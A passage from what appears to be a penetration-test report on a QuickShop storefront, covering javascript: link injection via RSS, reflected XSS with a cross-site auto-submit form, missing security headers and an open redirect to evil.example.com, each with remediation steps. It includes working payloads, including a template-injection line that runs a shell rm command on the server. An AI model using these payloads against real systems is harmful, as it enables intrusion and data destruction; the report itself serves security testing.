xml_content=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Crss%20version%3D%222.0%22%3E%3Cchannel%3E%3Ctitle%3EFeed%3C%2Ftitle%3E%3Citem%3E%3Ctitle%3EJS%20Test%3C%2Ftitle%3E%3Clink%3Ejavascript%3Aalert%28document.domain%29%3C%2Flink%3E%3C%2Fitem%3E%3C%2Fchannel%3E%3C%2Frss%3E
```

which decodes to:

```xml
<?xml version="1.0"?>
<rss version="2.0"><channel><title>Feed</title><item><title>JS Test</
title><link>javascript:alert(document.domain)</link></item></channel></rss>
```

Verification

The response renders the attacker-controlled URI unvalidated in the anchor href:

```html
<a href="javascript:alert(document.domain)" class="btn btn-sm btn-primary" target="_blank">
<i class="fas fa-external-link-alt"></i> Visit Link
</a>
```

Clicking the button executes `alert(document.domain)` in the QuickShop origin (or, with `https://storefront.example`, navigates the user to the attacker's site). Attribute breakout is NOT possible - quotes are escaped - so this is scheme-injection only, exploited via user click after parsing an attacker-supplied feed.

Cleanup

No state persisted - the parser is stateless; no cleanup needed.

Remediation

Immediate action

Validate the URI scheme of each parsed feed <link> value before rendering it into an anchor href, allowing only http:// and https://storefront.example

Steps

1. Parse the link value's scheme server-side and reject or neutralize any URI whose scheme is not in an allowlist of http and https (blocking javascript:, data:, vbscript:, and other dangerous schemes).
2. Render links as relative-safe anchors by prefixing disallowed values with a safe fallback URL (e.g. the site root) instead of echoing the raw value into href.
3. Add a Content-Security-Policy header that restricts script execution, such as script-src 'self', to limit the impact of any remaining script-injection vectors.

31. Reflected XSS in invoices/create - template echoed unescaped into Invoice Preview div

Severity	LOW
Status	Open
OWASP Category	A03:2021-Injection
Endpoint	POST /invoices/create
Parameter	template
Estimated Effort	Low 6h

Description

The POST `template` parameter of /invoices/create is reflected unescaped into the `Invoice Preview` section (`<div class="preview-section">`) of the response with no output encoding and no Content-Security-Policy header, so any HTML or script in the value executes in the browser of whoever triggers the request. Because the form carries no CSRF token, an attacker can host an auto-submitting cross-origin form to deliver the payload to any visiting victim's session on the QuickShop origin. Additionally, {{VARIABLE}} substitution into the template before rendering means injection via invoice fields such as customer_name reaches the same sink, while the editor textarea reflection of the same value is properly escaped, confirming the preview sink is distinct.

Business Impact

An attacker can run arbitrary JavaScript in the browser session of any QuickShop user who visits a malicious page, enabling session hijacking, credential theft, and unauthorized actions performed as the victim on the invoice system. Invoice and customer data entered through the generator could be exfiltrated, exposing PII such as customer names and financial details. Successful exploitation could lead to compliance violations, financial fraud, and reputational damage to the QuickShop brand.

Proof of Concept

Setup

No authentication required. The form has no CSRF token, so cross-origin auto-submission delivers the payload. Verified with headless Chromium using a staged auto-submitting page (staged via the SSTI RCE on the same host purely to simulate attacker-hosted origin; the form itself is standard cross-site behavior).

Exploit

The attacker page (any origin) auto-submits this form to the target:

```HTML
<form id=f method=POST action="http://storefront.example/invoices/create">
<input name="template" value="<img src=x onerror=window.__xss_fired=true>">
<input name="customer_name" value="Bob">
</form>
<script>f.submit()</script>
```

Direct curl equivalent (shows the raw reflection server-side):

```bash
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode 'template=<div class="inv"><img src=x onerror="window.__xss_fired=true"></div>' \
| grep -A2 'preview-section'
```

Verification

Server-side reflection - payload returned unescaped inside the preview section:

```html
<div class="preview-section">
<div class="inv"><img src=x onerror="window.__xss_fired=true"></div>                    </div>
```

Browser execution - headless Chromium loaded the auto-submitting page, the form POSTed, and the wrapper reported `pollutedWindowKeys: ["__xss_snapshot_base", "__xss_fired"]`, i.e. `window.__xss_fired=true` executed from the injected `onerror` handler on the QuickShop origin. Page title after submit: `Invoice Generator - QuickShop`.

Cleanup

The staged `poc_xss.html` helper files were removed from the server via the same RCE:

```bash
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode 'template={{["rm -f /app/[REDACTED-PATH] /app/[REDACTED-PATH] /app/[REDACTED-PATH]"]
|filter("system")}}'
```

Remediation

Immediate action

Apply contextual HTML entity encoding to the template value before it is rendered into the preview-section of the response.

Steps

1. Encode the template and all substituted {{VARIABLE}} values with context-appropriate output encoding (e.g. htmlspecialchars with ENT_QUOTES for HTML body context) before echoing into the preview-section div.
2. Add a Content-Security-Policy header (e.g. default-src 'self'; script-src 'self') to the response to mitigate impact of any residual injection.
3. Add a per-session CSRF token to the invoices/create form and validate it server-side on POST to block cross-site auto-submission.
4. Sanitize template variable substitution so injected invoice fields like customer_name cannot carry active HTML content into the rendered preview.

32. Missing Security Headers across 37 pages

Severity	INFO
Status	Open
OWASP Category	A05:2021 - Security Misconfiguration
CWE ID	CWE-693
Endpoint	GET http://storefront.example
Also affects	storefront.example/ storefront.example/catalog storefront.example/catalog/search storefront.example/promo.php storefront.example/wishlist.php storefront.example/about.php storefront.example/contact.php storefront.example/category.php storefront.example/catalog/item storefront.example/catalog/compare storefront.example/catalog/import storefront.example/invoices/create storefront.example/check_link.php storefront.example/downloads.php storefront.example/view_media.php storefront.example/rss_parser.php storefront.example/templates/preview storefront.example/order_tracking.php storefront.example/newsletter_subscribe.php storefront.example/external_link.php storefront.example/submit_review.php storefront.example/product_qa.php storefront.example/catalog/{id} storefront.example/catalog/search/{id} storefront.example/promo.php/{id} storefront.example/wishlist.php/{id} storefront.example/about.php/{id} storefront.example/contact.php/{id} storefront.example/catalog/compare/{id} storefront.example/catalog/import/{id} storefront.example/invoices/create/{id} storefront.example/check_link.php/{id} storefront.example/downloads.php/{id} storefront.example/view_media.php/{id} storefront.example/rss_parser.php/{id} storefront.example/templates/preview/{id} storefront.example/order_tracking.php/{id}
Estimated Effort	Low 4h

Description

37 HTML pages are served without recommended security headers (Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options appear missing somewhere in the app). Each absent header weakens browser-side defence in depth - CSP guards against XSS, HSTS enforces TLS, X-Content-Type-Options prevents MIME-sniffing.

Business Impact

This low severity security issue requires immediate assessment.

Proof of Concept

Setup

No prerequisites - header inspection only.

Affected pages

- `http://storefront.example` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/catalog` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/catalog/search` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/promo.php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/wishlist.php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/about.php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/contact.php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/category.php?cat=/{id}` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/catalog/item?id=136/{id}` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/catalog/compare` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- *...and 27 more*

Exploit

```bash
curl -I 'http://storefront.example' | grep -iE 'csp|hsts|content-type-options'
```

Verification

Headers missing across the app: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`. Each absent header weakens browser-side defence-in-depth (CSP guards against XSS, HSTS pins TLS, X-Content-Type-Options prevents MIME-sniffing).

Remediation

33. Missing Security Headers across 3 pages

Severity	INFO
Status	Open
OWASP Category	A05:2021 - Security Misconfiguration
CWE ID	CWE-693
Endpoint	GET /[REDACTED].php
Also affects	storefront.example/redirect.php storefront.example/images
Estimated Effort	Low 3h

Description

Three HTML pages served by the application at storefront.example are returned without recommended browser security headers: Content-Security-Policy, Strict-Transport-Security, and X-Content-Type-Options. The absence of these headers removes browser-side defense-in-depth - CSP would mitigate XSS payloads, HSTS would enforce TLS and prevent downgrade attacks, and X-Content-Type-Options would prevent MIME-sniffing attacks. While not directly exploitable on their own, the missing headers make other vulnerabilities such as XSS and MIME confusion significantly easier to exploit.

Business Impact

The missing headers weaken the application's defense-in-depth posture, meaning any future XSS, downgrade, or MIME-confusion vulnerability becomes substantially easier for attackers to exploit against users. Successful exploitation could lead to session hijacking, theft of customer data entered through the application, and man-in-the-middle interception of traffic. This exposure increases the risk of compliance violations and reputational damage if user data is compromised.

Proof of Concept

Setup

No prerequisites - header inspection only.

Affected pages

- `http://storefront.example/[REDACTED].php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/redirect.php` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options
- `http://storefront.example/images/` - missing: Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options

Exploit

```bash
curl -I 'http://storefront.example/[REDACTED].php' | grep -iE 'csp|hsts|content-type-options'
```

Verification

Headers missing across the app: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`. Each absent header weakens browser-side defence-in-depth (CSP guards against XSS, HSTS pins TLS, X-Content-Type-Options prevents MIME-sniffing).

Remediation

Immediate action

Add the missing Content-Security-Policy, Strict-Transport-Security, and X-Content-Type-Options headers to all HTTP responses at the web server or reverse proxy level.

Steps

1. Add a Content-Security-Policy header (e.g. default-src 'self'; script-src 'self') to all responses via the web server configuration or middleware
2. Add Strict-Transport-Security: max-age=31536000; includeSubDomains once the application is served over HTTPS
3. Add X-Content-Type-Options: nosniff to all responses globally
4. Centralize header injection in a single middleware or server config block so new pages inherit the headers automatically

34. Unvalidated open redirect on redirect.php?url=

Severity	INFO
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-601
Endpoint	GET /redirect.php
Parameter	url
Estimated Effort	Low 4h

Description

The /redirect.php endpoint passes the `url` GET parameter directly into `header("Location: " . $url)` without any scheme or host validation, allowing arbitrary 302 redirects to attacker-controlled domains. Source code retrieved via a /files/download path traversal confirms no allowlist exists, so any external URL supplied in the `url` parameter is honored. Although the endpoint appears intended for product sharing via the `product` parameter, it performs no validation of redirect destinations.

Business Impact

Attackers can craft links that appear to originate from the trusted QuickShop domain but redirect victims to phishing or malware sites, eroding customer trust and enabling credential theft. The open redirect can also be abused to bypass security controls in downstream tools, facilitating SSRF-style attacks against internal infrastructure. Successful phishing campaigns leveraging the trusted brand could result in financial loss, regulatory exposure, and reputational damage.

Proof of Concept

Setup

No authentication required.

Exploit

```http
GET /redirect.php?url=https%3A%2F%2Fevil.example.com%2Fphish&product=136 HTTP/1.1
Host: storefront.example
```

Verification

Response is `302 Found` with an attacker-controlled Location header and empty body:

```text
location: https://evil.example.com/phish
```

A victim clicking a crafted share link on the trusted QuickShop origin is redirected to any off-site URL.

Cleanup

No state persisted.

Remediation

Immediate action

Implement a strict allowlist of permitted redirect destinations so that the `url` parameter is validated against trusted hosts before being used in the Location header.

Steps

1. Maintain a server-side allowlist of trusted redirect domains and reject any `url` value whose host is not on the list
2. Validate that the redirect target uses only https:// and reject scheme-relative URLs, encoded characters, and open paths like //evil.com
3. Remove or restrict the /files/download file-read capability that allowed source code disclosure via path traversal
4. Return a 400 error instead of a redirect when the `url` parameter fails validation